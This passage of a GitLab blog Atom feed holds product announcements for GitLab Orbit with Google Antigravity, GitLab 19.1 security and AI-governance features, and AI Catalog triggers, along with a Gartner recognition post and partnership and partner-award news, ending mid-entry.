<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://about.gitlab.com/blog</id>
    <title>GitLab</title>
    <updated>2026-06-26T17:35:18.694Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <author>
        <name>The GitLab Team</name>
    </author>
    <link rel="alternate" href="https://about.gitlab.com/blog"/>
    <link rel="self" href="https://about.gitlab.com/atom.xml"/>
    <subtitle>GitLab Blog RSS feed</subtitle>
    <icon>https://about.gitlab.com/favicon.ico</icon>
    <rights>All rights reserved 2026</rights>
    <entry>
        <title type="html"><![CDATA[Google Antigravity agents get full context with GitLab Orbit]]></title>
        <id>https://about.gitlab.com/blog/gitlab-orbit-and-google-antigravity/</id>
        <link href="https://about.gitlab.com/blog/gitlab-orbit-and-google-antigravity/"/>
        <updated>2026-06-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Developers working in Google Antigravity can now install our lifecycle context graph,  <a href="https://about.gitlab.com/blog/introducing-gitlab-orbit/" rel="">GitLab Orbit</a>, directly from the <a href="https://antigravity.google/docs/mcp" rel="">Antigravity MCP Store</a> and give their agents structured access to projects, pipelines, merge requests, vulnerabilities, and source code across their GitLab instance.</p><p>The Orbit integration is a new addition to a family of purpose-built GitLab integrations already in the Google Cloud ecosystem and brings GitLab&#39;s context layer into Google&#39;s agent-first development platform.</p><h2 id="query-your-software-lifecycle-within-antigravity">Query your software lifecycle within Antigravity</h2><p>Antigravity agents, without GitLab Orbit, can see the files and reach the terminal. They do not understand the broader system: which services depend on the code being changed, whether similar vulnerabilities have been flagged elsewhere, or who reviewed comparable changes in the past. That context lives in your DevSecOps platform. Getting it to a coding  agent has meant using custom scripts or copy-pasting between tools.</p><p>GitLab <a href="https://docs.gitlab.com/orbit/" rel="">Orbit</a> indexes your GitLab instance and builds a knowledge graph of relationships between groups, projects, users, work items, merge requests, pipelines, vulnerabilities, and source code. It surfaces that graph through two <a href="https://docs.gitlab.com/orbit/remote/access/mcp/" rel="">MCP tools</a>: <code>query_graph</code>, which executes structured queries, and <code>get_graph_schema</code>, which returns available node types, properties, and relationships.</p><p>With this integration, an Antigravity agent can be more accurate and you can answer the most complex questions about your software lifecycle with this context layer:</p><ul><li>Which projects depend on this module, and will this change break them?</li><li>Have any unresolved vulnerabilities been found in this project?</li><li>Based on past reviews and file ownership, who should review this merge request?</li><li>Which projects produce the most pipeline failures in this group?</li></ul><p>The agent composes the query in GitLab Orbit&#39;s JSON DSL and gets typed results back, instead of requiring you to switch between browser tabs and paste context into the coding platform.</p><p>In <a href="https://about.gitlab.com/blog/gitlab-transcend-announcements/" rel="">early internal tests</a>, agents grounded with GitLab Orbit responded up to 11 times faster, used up to 4.5 times fewer tokens, and produced up to 45 times fewer hallucinations.</p><h2 id="key-user-journeys">Key user journeys</h2><p>With GitLab Orbit and Antigravity, several key user journeys are enhanced by the interoperability of the two services.</p><h3 id="blast-radius-analysis">Blast radius analysis</h3><p>Before refactoring a shared auth library, an engineer asks an Antigravity agent connected to GitLab Orbit: What depends on this module? Which open merge requests touch those files? And who owns them? The agent queries the knowledge graph and returns all three in one answer: the importers, every in-flight merge request against those files, and their owners. The engineer sees which open work the refactor will collide with, and who to involve, before editing a line. Without Orbit, the same agent sees only the open files and the terminal, with no ability to query the importers, merge requests, and owners that live in GitLab.</p><p><img alt="Blast radius visual map" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1782388863/gtlc39awbobl0ugplmkj.png" /></p><h3 id="onboarding-and-codebase-exploration">Onboarding and codebase exploration</h3><p>A developer returning to an unfamiliar service asks for its dependencies, entry-point files, and the merge requests opened against it this week. The agent runs the queries against the knowledge graph and produces a Walkthrough Artifact, a scannable map the developer keeps rather than a chat answer that scrolls away. Orbit reindexes within minutes of a change, so the map reflects the service as it is today, not the stale wiki that onboarding usually relies on.</p><p><img alt="GitLab Orbit for onboarding and codebase exploration" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1782388863/hiy6gvv4bpxgrowoj5xo.png" /></p><h3 id="dependency-mapping-with-image-generation">Dependency mapping with image generation</h3><p>A tech lead queries GitLab Orbit for a group&#39;s service-dependency structure and has the agent render it as an architecture diagram with <a href="https://deepmind.google/models/gemini-image/pro/" rel="">Nano Banana Pro</a>. Its nodes and edges are drawn from the live graph rather than relying on a diagram that&#39;s already out of date. For a narrower view, like only the services with open security findings, the tech lead re-queries and regenerates a diagram. Every query is filtered to what the tech lead can access, so the diagram is safe to share as-is. A text-only agent can&#39;t turn a graph query into a diagram, let alone keep it current. GitLab is building the same capability natively as a Software Architecture Map; in Antigravity, it works today.</p><p><img alt="GitLab Orbit for dependency mapping" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1782388863/z5aymr3myuiavp2vbvui.png" /></p><h2 id="install-from-the-mcp-store-in-clicks">Install from the MCP Store in clicks</h2><p>Antigravity&#39;s <a href="https://antigravity.google/docs/mcp" rel="">MCP Store</a> is a built-in integration hub inside the settings. It uses the <a href="https://modelcontextprotocol.io/" rel="">Model Context Protocol</a> to connect agents to external tools and services in a standardized way.</p><p>Open the MCP Store panel from the settings. Within the customization tab, find the MCP section. Click “Add MCP” and add GitLab Orbit. Authenticate with GitLab through the on-screen prompts. Once installed, Orbit&#39;s tools are automatically available to your agents. No config files or terminal setup required.</p><h2 id="build-on-the-same-context-that-powers-gitlab-duo-agent-platform">Build on the same context that powers GitLab Duo Agent Platform</h2><p>GitLab Orbit is the same engine that provides context to <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">Duo Agent Platform</a>. For platform engineering teams managing large GitLab instances, agents working inside Antigravity draw on the same governed knowledge graph as agents working inside GitLab, without a separate context pipeline to configure and maintain.</p><p>Orbit indexes code in Ruby, Java, Kotlin, Python, TypeScript, JavaScript, Rust, and C# from the default branch, and reindexes within minutes of a change. Queries through MCP consume <a href="https://docs.gitlab.com/subscriptions/gitlab_credits/" rel="">GitLab Credits</a>; calls to <code>get_graph_schema</code> are free.</p><h2 id="get-started">Get started</h2><p>GitLab Orbit is available for <a href="https://docs.gitlab.com/subscriptions/" rel="">GitLab Premium and Ultimate tiers</a> on GitLab.com. To try it out, <a href="https://docs.gitlab.com/orbit/remote/getting-started/" rel="">turn on Orbit for your top-level group</a>, then install the GitLab Orbit integration from the Antigravity MCP Store.</p><blockquote><p>If you are not yet using GitLab Duo Agent Platform, start with <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">a free trial</a>.</p><p>If you are on GitLab&#39;s Free tier, <a href="https://docs.gitlab.com/subscriptions/gitlab_credits/#for-the-free-tier-on-gitlabcom" rel="">sign up for Duo Agent Platform</a> with these steps.</p><p>If you are a GitLab Premium or Ultimate subscriber, <a href="https://docs.gitlab.com/user/duo_agent_platform/turn_on_off/" rel="">turn on Duo Agent Platform</a> and use the GitLab Credits <a href="https://docs.gitlab.com/subscriptions/gitlab_credits/#included-credits" rel="">included</a> with your subscription.</p></blockquote>]]></content>
        <author>
            <name>Regnard Raquedan</name>
            <uri>https://about.gitlab.com/blog/authors/regnard-raquedan/</uri>
        </author>
        <published>2026-06-25T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Patch Release: 19.1.1, 19.0.3, 18.11.6]]></title>
        <id>https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-1-1-released/</id>
        <link href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-1-1-released/"/>
        <updated>2026-06-24T00:00:00.000Z</updated>
        <published>2026-06-24T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[One vulnerability view: From scanner coverage to AI governance]]></title>
        <id>https://about.gitlab.com/blog/one-vulnerability-view/</id>
        <link href="https://about.gitlab.com/blog/one-vulnerability-view/"/>
        <updated>2026-06-18T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Most enterprises use a handful of different security scanners, each configured and enforced, project by project. With no single view of what scanners run where, policies drift, blind spots go undetected, and important projects could silently go unprotected. With <a href="https://docs.gitlab.com/releases/19/gitlab-19-1-released/" rel="">GitLab 19.1</a>, you can now integrate the security scanners you already use, giving a single view of your scanner coverage. GitLab enforces third-party scanners at scale across all of your projects, and the vulnerabilities they detect get remediated automatically. On the governance side, we&#39;re launching the beta of AI audit event streaming, so you can see whether your agents are acting safely.</p><h2 id="enforce-third-party-scanners-on-every-project-at-scale">Enforce third-party scanners on every project at scale</h2><p>For most security teams, the hardest part of application security is scanner coverage. Different scanners are set up project by project, so whether a scanner runs depends on individual teams setting it up. New projects can go unnoticed and can ship for weeks before teams realize they are not scanned. When coverage depends on tribal knowledge rather than policy, code ships unscanned, vulnerabilities ship to production, and audits expose gaps.</p><p>You can now enforce third-party scanners at scale across all of your GitLab projects. Any scanner that <a href="https://docs.gitlab.com/user/application_security/detect/sarif/" rel="">outputs SARIF</a> runs under your policies, and the vulnerabilities identified flow into GitLab natively. Every finding lands in one vulnerability view governed by the same rules, so coverage becomes something you can prove rather than hope for.</p><p>From there, third-party scanner findings run through the same GitLab Duo Agent Platform auto-remediation workflow as GitLab native scanner findings. <a href="https://docs.gitlab.com/user/application_security/vulnerabilities/false_positive_detection/" rel="">SAST False Positive Detection</a> triages findings to prioritize those with real risk, and <a href="https://docs.gitlab.com/user/application_security/vulnerabilities/agentic_vulnerability_resolution/" rel="">Agentic SAST Vulnerability Resolution</a> opens a ready-to-merge fix to automatically remediate findings before they go into production. Your team gets coverage it can prove with one governed view across every scanner, and automated remediation for third-party findings.</p><iframe src="https://player.vimeo.com/video/1202311152?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479" frameBorder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerPolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="GitLab 19.1 Integrating 3rd party Scanners via SARIF Ingestion"></iframe><script src="https://player.vimeo.com/api/player.js"></script><h2 id="catch-secrets-earlier-and-spend-less-time-on-false-positives">Catch secrets earlier, and spend less time on false positives</h2><p>Secret detection runs in your pipelines to catch leaked credentials, but teams have historically struggled with two things: missed secrets and noisy findings. On a new branch, only the latest commit gets scanned, so a secret committed earlier might ship unnoticed. The findings detected come mixed with test credentials, placeholder values, and example tokens, so developers spend time clearing noise instead of addressing real exposures.</p><p><a href="https://docs.gitlab.com/user/application_security/secret_detection/pipeline/#coverage" rel="">Secret detection</a> now scans every commit on a new branch instead of only the latest one, and <a href="https://docs.gitlab.com/user/application_security/vulnerabilities/secret_false_positive_detection/" rel="">Secret False Positive Detection</a>, now generally available, adds a confidence score and an explanation to each finding, shown in the vulnerability report. Your team catches secrets wherever they were introduced, and spends time reducing risk from real exposures rather than false positives.</p><iframe src="https://player.vimeo.com/video/1202311140?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479" frameBorder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerPolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="GitLab 19.1 Secret False Positive Detection"></iframe><script src="https://player.vimeo.com/api/player.js"></script><h2 id="decide-what-your-ai-agents-can-do-and-prove-it">Decide what your AI agents can do, and prove it</h2><p>Companies have adopted AI agents for coding. Agents open merge requests, call tools, and commit code alongside the developers they work for. However, once an agent is approved for a project, it can write, delete, and push without anyone reviewing the action first. Your company remains accountable for changes in the codebase, regardless of whether an agent makes them or a developer. Enterprises need to determine what an agent is allowed to do before it acts, and to show exactly what it did after.</p><p>GitLab 19.1 closes that governance gap. With <a href="https://docs.gitlab.com/administration/compliance/audit_event_streaming/#ai-audit-event-streaming" rel="">AI audit event streaming</a>, now in beta, every action an agent takes is recorded as an audit event and streamed to your audit log destinations, with the rest of your audit trail. The release also gives you control over what agents can do on your platform. <a href="https://docs.gitlab.com/user/duo_agent_platform/" rel="">Agent tool approval guardrails</a>, also in beta, let an administrator set each agent tool to run on its own, pause for human approval, or stay blocked, so a sensitive action like writing a file or deleting a resource waits for a team reviewer before it runs. Every approval decision is recorded as an audit event for teams to retroactively review.</p><p>The result is governed autonomy. Agents can run end to end, inside the guardrails you set, and a risky action does not reach the codebase unless a person signs off on it. When an auditor or an incident responder later asks what an agent did, the answer is already in the audit trail the team runs.</p><p><img alt="Audit trail of agent activity showing an alert flagged for an agent dismissing a high-severity finding without human approval" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1781722199/y7hx7pqbsr1opn6dqnxh.png" title="Audit trail of agent activity showing an alert flagged for an agent dismissing a high-severity finding without human approval" /></p><h2 id="governed-autonomy-for-your-agents">Governed autonomy for your agents</h2><p>GitLab 19.1 puts governance around the agents in your codebase, with full security scanner coverage across every project and automatic remediation of third-party scanners. You set what each agent is allowed to do before it acts, and every action lands in your audit trail.</p><blockquote><p>To see what your agents can do inside the guardrails you set, and prove what they did, <a href="https://about.gitlab.com/gitlab-duo-agent-platform/?utm_medium=blog&amp;utm_source=blog&amp;utm_campaign=eg_global_x_x_security_en_" rel="">start a free trial of GitLab Duo Agent Platform today</a>.</p></blockquote>]]></content>
        <author>
            <name>Alisa Ho</name>
            <uri>https://about.gitlab.com/blog/authors/alisa-ho/</uri>
        </author>
        <published>2026-06-18T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab 19.1 released]]></title>
        <id>https://docs.gitlab.com/releases/19/gitlab-19-1-released/</id>
        <link href="https://docs.gitlab.com/releases/19/gitlab-19-1-released/"/>
        <updated>2026-06-18T00:00:00.000Z</updated>
        <published>2026-06-18T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[AI Catalog updates for governance and operations]]></title>
        <id>https://about.gitlab.com/blog/ai-catalog-updates-for-governance-and-operations/</id>
        <link href="https://about.gitlab.com/blog/ai-catalog-updates-for-governance-and-operations/"/>
        <updated>2026-06-18T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Enterprise AI adoption often stalls not because the technology isn&#39;t ready, but because admins can&#39;t answer the question their security team is asking: What&#39;s actually running in our environment, and who put it there?</p><p><a href="https://docs.gitlab.com/releases/19/gitlab-19-1-released/" rel="">GitLab 19.1</a> ships event-driven triggers for Duo Flows alongside the governance controls and config validation that make running them safely possible. Together, they give enterprise teams the governance and reliability to run AI workflows continuously, without waiting for a human to pull the trigger.</p><h2 id="run-flows-automatically-on-real-gitlab-events">Run flows automatically on real GitLab events</h2><p>Until now, every GitLab Duo Flow trigger required a human action in the GitLab UI: Mention, Assign, or Assign Reviewer. That made it more challenging to drive flows programmatically, integrate them into production pipelines, or fire them on a schedule. For teams running production workflows at scale, the limitations included: no automated conflict summaries, no compliance checks on ready-for-review MRs, and no incident creation on pipeline failure. None of these workflows were possible without someone manually initiating a flow.</p><p>With triggers and new pipeline event filters, flows run every time the conditions your organization defines are met, with no manual handoff required. The <a href="https://docs.gitlab.com/user/duo_agent_platform/ai_catalog/" rel="">AI Catalog</a> stops being something your team uses and starts being something that works for your team, continuously, in the background, while developers focus on the work that actually requires judgment.</p><p>This is where the compounding value of agentic workflows becomes real. When flows respond to events automatically, the handoff delays that slow down feedback loops today start to shrink.</p><p>GitLab 19.1 includes four new event-driven triggers:</p><ul><li><strong>Merge request code conflict detected</strong> fires the moment a conflict is detected in a merge request. That&#39;s exactly when an automated conflict summary and resolution proposals are most useful, before the developer has begun investigating the problem and before the conflict compounds. Previously, a developer would have to notice the conflict, open the MR, and manually trigger a review. Now the flow runs the moment the conflict appears.</li><li><strong>Draft to ready for review</strong> fires when a developer marks an MR ready. That&#39;s the right moment for an automated compliance review or readiness checklist to fire automatically. A flow that used to require a reviewer or team lead to manually initiate a pre-merge check now runs every time, the moment the signal arrives.</li><li><strong>Merge request approved</strong> fires when a merge request receives approval, automatically triggering post-approval steps like deployment readiness checks, compliance logging, or handoff notifications, without a human having to remember to kick them off.</li><li><strong>Work item created</strong> fires when a new work item is created. That opens up immediate triage flows, automatic label assignment, and routing logic that today requires either manual effort or brittle webhook setups outside GitLab.</li></ul><p>While Pipeline events aren&#39;t new, the ability to filter by specific pipeline states is. You can now configure a trigger to fire only on failure, only on success, or only on cancellation, rather than on every pipeline state change. That means you can create incidents on failure and promote artifacts on success without alerting on every pipeline state change.</p><p>Merge conflict detected and Draft to Ready for Review are enabled by default, so teams gain value the moment they update to 19.1.</p><p><img alt="List of flows" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1781721321/xfvmxfqjmhphxja5opwd.png" title="Event-driven triggers" /></p><p>A developer experience improvement is also landing in 19.1. For developers actually running those flows locally, repeated tool invocations — npm installs, file edits, multi-step refactors — used to require re-approval every time. A new pattern-based approval tier (now in beta) lets you approve all uses of a tool for the session, so the agent can iterate without interrupting you.</p><p>Watch the event triggers in action:</p><iframe src="https://player.vimeo.com/video/1202304975?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479" frameBorder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerPolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="19.1 Merge Conflict Event Triggers"></iframe><script src="https://player.vimeo.com/api/player.js"></script><h2 id="keep-unapproved-ai-agents-and-flows-out-of-your-environment">Keep unapproved AI agents and flows out of your environment</h2><p>An external agent surfacing in a namespace during a hackathon, or a team member enabling a community-contributed flow without security review, is enough to stop an enterprise trial in its tracks. For regulated organizations, unvetted AI content isn&#39;t a minor concern; it&#39;s a blocker.</p><p>Two new settings give instance admins and top-level group owners direct authority over exactly what runs.</p><ul><li><strong>Disable custom agents and flows</strong> restricts users from creating or enabling custom-built agents and flows, limiting them to foundational content.</li><li><strong>Restrict the AI catalog to your group hierarchy</strong> blocks users from enabling AI Catalog items that originate outside their namespace, including community-contributed and third-party content.</li></ul><p>Together, these settings bring AI agents and flows under the same admin oversight already governing other sensitive platform capabilities, so admins can open up broad usage without inviting agent sprawl into production.</p><h2 id="catch-flow-misconfigurations-before-they-ship">Catch flow misconfigurations before they ship</h2><p>Event-driven flows that fire automatically raise the stakes on getting accurate configuration right inside an enterprise. Whether a flow is misconfigured or over-fires, it creates noise and issues across the organization.</p><p>GitLab 19.1 moves validation upstream. When a user saves or updates a flow in the AI Catalog, GitLab validates the flow config against the Duo Workflow Service before persisting it. If there&#39;s a problem — a missing input, an unknown tool parameter, anything the validator catches — structured errors appear in the UI before the flow is saved. Valid flows save and trigger exactly as before.</p><p>The result: Every flow in the AI Catalog is correctly configured before anyone depends on it in production. Configuration problems surface at save time, when they&#39;re cheap to fix, not in the middle of the night when a pipeline fails.</p><h2 id="control-which-ai-models-are-available-to-your-team">Control which AI models are available to your team</h2><p>Another governance capability is available as a public beta. Admins can now configure an allowlist of approved AI models and set an organization-wide default, rather than choosing between a pinned model or unrestricted selection.</p><p>This means organizations can restrict to data-residency-compliant or pre-approved providers while preserving end-user flexibility within that guardrail. This initial iteration applies to GitLab Duo Agentic Chat, with broader coverage across additional surfaces to follow soon.</p><h2 id="build-on-a-foundation-thats-ready-for-production">Build on a foundation that’s ready for production</h2><p>With these updates, flows can finally operate the way production automation is supposed to: continuously, reliably, and without waiting for someone to press a button. Admins have the governance authority to control exactly what runs in their environment, and developers get configuration feedback at the right moment instead of the worst one.</p><blockquote><p>Start <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">your free trial</a> of GitLab Duo Agent Platform or <a href="https://docs.gitlab.com/user/duo_agent_platform/" rel="">explore the documentation</a> to dig into agents, flows, and the AI Catalog.</p></blockquote>]]></content>
        <author>
            <name>Corinne Dent</name>
            <uri>https://about.gitlab.com/blog/authors/corinne-dent/</uri>
        </author>
        <published>2026-06-18T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab named a Leader in the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms]]></title>
        <id>https://about.gitlab.com/blog/gitlab-leader-2026-gartner-mq-devsecops-platforms/</id>
        <link href="https://about.gitlab.com/blog/gitlab-leader-2026-gartner-mq-devsecops-platforms/"/>
        <updated>2026-06-17T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>For the fourth year running, Gartner has named GitLab a <strong>Leader in the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms</strong>. We believe this recognition reflects what our customers already see: The work of building software has moved past the editor, and the platform underneath is where speed either compounds or breaks down.</p><p>Developers have never written code faster. Most now use more than one AI coding assistant, and we see customer codebases growing five times in a single year. But faster code hasn&#39;t made software ship faster. AI sped up one essential step and dumped the overflow on everything downstream: pipelines to wire up, security findings to clear, deployments to sequence, spend to keep an eye on. Fix one stage and the bottleneck just slides to the next.</p><p>That&#39;s not speed, really. It&#39;s a faster way to ship incidents, miss vulnerabilities, and overrun budgets. The actual work now is turning what agents produce into software you&#39;d put your name on. We call it speed with control.</p><p><img alt="Magic Quadrant graphic" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1781708478/g6rrrza76gapxpaeu6lz.png" /></p><blockquote><p><a href="https://about.gitlab.com/resources/gartner-magic-quadrant/" rel="">Download the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms</a>.</p></blockquote><h2 id="the-agentic-era-needs-a-control-layer-not-another-tool">The agentic era needs a control layer, not another tool</h2><p>The problem enterprises face today is balancing speed of delivery with control. As agents multiply across teams and projects, organizations find they have no single place to govern who runs them, what data they can reach, what actions they can take, or whether any of it can be audited. Agents are expanding faster than the policies meant to manage them.</p><p>GitLab is already the platform where enterprises plan, build, secure, and ship software, with source code management, CI/CD, security, and deployment in one place. We’re embedded in the critical path of these changes, whether a person or an agent makes them. As your team and their coding agents write the change, GitLab pressure-tests it against your existing code, in your pipelines, and policies before it changes anywhere near production. That position is what makes GitLab the control layer for the agentic era.</p><h2 id="the-platform-enterprises-already-trust-to-ship-at-scale">The platform enterprises already trust to ship at scale</h2><p>Agentic AI is only as good as the platform underneath it, and this is the foundation our customers already build on. <a href="https://about.gitlab.com/customers/ericsson/" rel="">Ericsson</a> cut its deployment time in half while serving the operators that keep billions of subscribers connected. <a href="http://youtube.com/watch?v=dMj0XjhEId0&amp;themeRefresh=1" rel="">Southwest</a> runs mission-critical software for round-the-clock airline operations, where reliability is not negotiable. <a href="https://about.gitlab.com/customers/barclays-plc/" rel="">Barclays PLC</a> and other highly regulated enterprises deliver under security and compliance demands where speed and oversight cannot be traded against each other.</p><p>The same is true wherever customers run GitLab. We deliver the same platform, governance, and agentic capabilities across multi-tenant SaaS, single-tenant SaaS, and self-managed deployments, including agents running against self-hosted models in air-gapped environments — without trading away deployment control. Even the most regulated organizations get full AI capability without trading away the deployment control they require. Gartner recognized this parity between our SaaS and on-premises options, AI included, as a strength. And comprehensive does not mean closed: Teams extend the platform with the tools and AI services they already use, while keeping everything inside one governance boundary.</p><h2 id="engineered-for-enterprise-grade-uptime">Engineered for enterprise-grade uptime</h2><p>Orchestrating agentic work across the lifecycle only matters if the platform stays available when teams depend on it. Gartner noted that GitLab has strengthened its SLAs to meet or exceed competitors’. We back a 99.9% monthly availability commitment for Ultimate customers on GitLab.com and GitLab Dedicated, and stand behind it with service credits: If monthly availability falls below that threshold, eligible customers can claim credits toward a future invoice. Tying our own accountability to the reliability customers actually experience is what makes the commitment real.</p><h2 id="standardizing-for-speed-and-control">Standardizing for speed and control</h2><p>At <a href="https://about.gitlab.com/events/transcend/virtual/" rel="">GitLab Transcend</a> last week, we built further on the control layer with five new innovations:</p><ol><li><strong>Next-gen source code management</strong> built for machine scale. In our testing, it runs up to 50x faster and moves up to 1,000x less data over the network.</li><li><strong><a href="https://about.gitlab.com/blog/introducing-gitlab-orbit/" rel="">GitLab Orbit</a>, a context graph</strong> across your code, work items, pipelines, deployments, and production signals. Point Claude Code at Orbit and the same tasks with the same model run up to 11x faster, with up to 4.5x fewer tokens, and up to 45x fewer hallucinations.</li><li><strong>Agents for security and governance for agents</strong> so you can keep up with the growing security and compliance gaps.</li><li><strong>Coordination of tasks across developers and agents</strong> with the new agentic triggers that enables your team to automate work handoffs without someone shepherding every step.</li><li><strong><a href="https://about.gitlab.com/blog/introducing-gitlab-flex/" rel="">GitLab Flex agreements</a></strong> so you can shape your GitLab spend on the products and capabilities without changing your contracts.</li></ol><p>That gives a CIO a clear position to stand on: one platform, one context graph, and one governance boundary where teams and agents build software together.</p><p>That position is what we believe Gartner&#39;s recognition reflects. And it comes as GitLab continues a rapid pace of innovation, shipping new capabilities to customers every month for 175+ consecutive months. To see everything we announced and watch the sessions on demand, visit our <a href="https://about.gitlab.com/whats-new/" rel="">What&#39;s New page</a>.</p><blockquote><p><strong>Read the report</strong></p><p>Download the <a href="https://about.gitlab.com/resources/gartner-magic-quadrant/" rel="">2026 Gartner® Magic Quadrant™ for DevSecOps Platforms</a>.</p></blockquote><hr /><p><em>Source: Gartner, Magic Quadrant for DevSecOps Platforms, Keith Mann, Thomas Murphy, Bill Holz, June 15, 2026</em></p><p><em>Gartner and Magic Quadrant are trademarks of Gartner, Inc., and/or its affiliates.</em></p><p><em>Gartner does not endorse any company, vendor, product or service depicted in its publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner publications consist of the opinions of Gartner’s business and technology insights organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this publication, including any warranties of merchantability or fitness for a particular purpose.</em></p><p><em>This graphic was published by Gartner Inc. as part of a larger report and should be evaluated in the context of the entire document. The Gartner document is available upon request from GitLab.</em></p>]]></content>
        <author>
            <name>Manav Khurana</name>
            <uri>https://about.gitlab.com/blog/authors/manav-khurana/</uri>
        </author>
        <published>2026-06-17T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab and Capgemini accelerate DevSecOps transformation]]></title>
        <id>https://about.gitlab.com/blog/gitlab-and-capgemini-global-alliance-partnership/</id>
        <link href="https://about.gitlab.com/blog/gitlab-and-capgemini-global-alliance-partnership/"/>
        <updated>2026-06-17T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>We&#39;re excited to share that GitLab and Capgemini have signed a global alliance partnership agreement. As a GitLab Select Partner, Capgemini will leverage the GitLab portfolio for clients globally, including GitLab Duo Agent Platform, which orchestrates AI across the entire software development lifecycle, along with specialized implementation services.</p><p>For customers, that means a shorter path from purchasing the platform to seeing real results, with expert guidance on the tools, processes, and methodologies that drive transformation.</p><h2 id="built-for-client-success">Built for client success</h2><p>The collaboration brings together GitLab&#39;s intelligent orchestration platform for DevSecOps and Capgemini&#39;s expertise in digital and business transformation, helping organizations modernize their software delivery, secure their supply chain, and bring AI into their development workflows.</p><p>The collaboration will initially focus on:</p><ol><li><strong>Cloud-native development and application modernization:</strong> Helping customers move legacy workloads onto modern architectures.</li><li><strong>Sovereign solution design and delivery:</strong> Meeting regulatory, regional, and data-residency requirements.</li><li><strong>Value stream modernization:</strong> Tightening the software delivery lifecycle from idea to production.</li><li><strong>Generative and agentic AI:</strong> Bringing GitLab Duo Agent Platform into development workflows so teams ship software faster.</li></ol><p>For more information about how GitLab and Capgemini can help your organization, please visit <a href="https://www.capgemini.com" rel="">www.capgemini.com</a>. If you are a GitLab or Capgemini customer, please contact your representative to get started.</p>]]></content>
        <author>
            <name>Alex Picker</name>
            <uri>https://about.gitlab.com/blog/authors/alex-picker/</uri>
        </author>
        <published>2026-06-17T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Introducing the 2026 EMEA GitLab Partner Award winners]]></title>
        <id>https://about.gitlab.com/blog/2026-emea-gitlab-partner-awards/</id>
        <link href="https://about.gitlab.com/blog/2026-emea-gitlab-partner-awards/"/>
        <updated>2026-06-17T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>The GitLab <a href="https://about.gitlab.com/partners/" rel="">Partner Program</a> continues to cultivate a thriving ecosystem of DevSecOps professionals committed to helping customers modernize their software development, from foundational DevSecOps practices to the latest AI-powered capabilities. Across Europe, the Middle East, and Africa (EMEA), our partners have once again demonstrated what&#39;s possible when deep technical expertise meets a shared commitment to customer success.</p><p>Last week, GitLab EMEA partners came together to connect, grow their expertise, and align on what’s ahead. As part of that celebration, we took the opportunity to honor the partners who went above and beyond in their work with GitLab and our mutual customers.</p><p>We’re thrilled to announce the 2026 GitLab Partner Award Winners from the EMEA region:</p><p><strong>Regional Partner of the Year Awards</strong> - Recognizing the partner in each region who demonstrated exceptional overall performance and strategic collaboration.</p><ul><li><strong>Central Europe:</strong> <a href="https://www.codecentric.de/en" rel="">cc cloud GmbH</a><br />cc cloud GmbH combines infrastructure and DevOps expertise for cloud-based applications and platforms. As a managed service provider, cc cloud GmbH takes responsibility for the IT infrastructure and applications of companies, so that their customers can focus on their core business.</li><li><strong>Northern Europe:</strong> <a href="https://www.eficode.com/" rel="">Eficode</a><br />Eficode is Europe’s leading AI and services company for the software development lifecycle, serving over 1,600 customers across Europe and North America. The company helps enterprise organizations accelerate software delivery through managed services, consulting, toolchain implementation, and AI-augmented development practices.</li><li><strong>Southern Europe:</strong> <a href="https://www.kiratech.it/en/" rel="">Kiratech</a><br />Kiratech is an Italian IT company that specializes in helping large enterprises modernize their infrastructures through a cloud native, DevOps, and PlatformOps approach. Kiratech acts as an official reseller, and a Select and implementation partner for GitLab.</li></ul><p><strong>Emerging Markets:</strong></p><ul><li><strong>Eastern Europe and Israel:</strong> <a href="https://www.bynet.co.il/en/" rel="">Bynet</a><br />Bynet is one of Israel’s most prominent and established systems integrators, with over four decades of experience delivering enterprise IT, cloud, cybersecurity, and modernization projects. With deep vertical expertise and longstanding relationships across government and private sector clients, Bynet plays a central role in Israel’s digital modernization landscape and they are a key ally to GitLab in advancing DevSecOps and AI adoption.</li></ul><p><strong>Best Technical Solution/Project</strong> - Honoring the partner who delivered the most innovative, complex, or impactful technical solution for a 